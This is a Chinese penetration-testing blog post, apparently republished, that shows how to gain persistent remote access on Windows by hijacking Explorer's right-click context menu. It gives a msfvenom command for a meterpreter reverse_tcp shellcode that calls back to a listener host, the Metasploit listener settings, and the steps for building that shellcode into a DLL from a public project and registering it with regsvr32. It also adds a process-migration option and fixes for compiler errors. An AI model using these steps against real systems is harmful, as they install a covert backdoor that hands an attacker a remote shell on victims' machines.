文章总结: 本文介绍了如何通过劫持资源管理器实现持久性后门,包括复现过程、编译问题及解决方法,并提供了相关代码和项目地址。
综合评分: 75
文章分类: 渗透测试,代码审计,实战经验,安全工具,技术标准
劫持资源管理器实现持久性后门
蚁景网安
2026年9月21日 16:30
湖南
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
以下文章来源于潇湘信安
,作者3had0w
潇湘信安
.
专注于网络安全知识、个人实战经验分享!
我的备用号 @Hack分享吧,欢迎关注!
0x01 前言
最近看到一篇有关《劫持Explorer.exe实现持久性》的文章,只要用户右键单击文件资源管理器中的文件或文件夹就会触发,简单记录下本地复现过程!
0x02 复现过程
CobaltStrike或Metasploit生成一个C格式shellcode,将shellcode中的”都替换为空,再用\r\n将其放在一行,配置好相关参数执行监听。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 EXITFUNC=thread -f c
set payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.1.120set lport 443exploit
VS打开该项目,在FileContextMenuExt.cpp第13行处插入我们处理好的shellcode,直接编译得到一个ContextMenuHijack.dll。
项目地址:
https://github.com/RistBS/ContextMenuHijack
接着我们通过执行以下命令用regsvr32注册下这个dll文件,如果想卸载掉只需加个/u参数即可。
注册:
regsvr32ContextMenuHijack.dll
卸载:
regsvr32 /u ContextMenuHijack.dll
这时只要我们右键文件或文件夹就会触发上线,但这种方式极易造成Explorer.exe资源管理器奔溃,导致会话掉线,建议加个自动迁移进程参数。
set AutoRunScript migrate -f
0x03 编译问题
我的VS版本2017,但这个项目是2022编译的,所以编译时可能由于VS版本问题而出现下图报错:
错误 MSB8020 无法找到 v143 的生成工具(平台工具集 =“v143”)。若要使用 v143 生成工具进行生成,请安装 v143 生成工具。或者,可以升级到当前 Visual Studio 工具,方式是通过选择“项目”菜单或右键单击该解决方案,然后选择“重定解决方案目标”
解决方法:
选中项目 -> 右键属性 -> 将平台工具集选为VS2017(V141);选中工程 -> 重定解决方案目标 -> 选择当前WindowsSDK版本;打开项目根目录下.vcxproj后缀文件,将v143全替换为v141,保存;切换回VisualStudio,检测到文件修改,我们选择“全部重新加载”;再次选中工程 -> 重新生成解决方案 -> 已经编译成功,完美解决该问题。
参考链接:
https://pentestlab.blog/2023/03/13/persistence-context-menu/https://ristbs.github.io/2023/02/15/hijack-explorer-context-menu-for-persistence-and-fun.html
学习网安实战技术,戳“阅读原文”
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:蚁景网安 《劫持资源管理器实现持久性后门》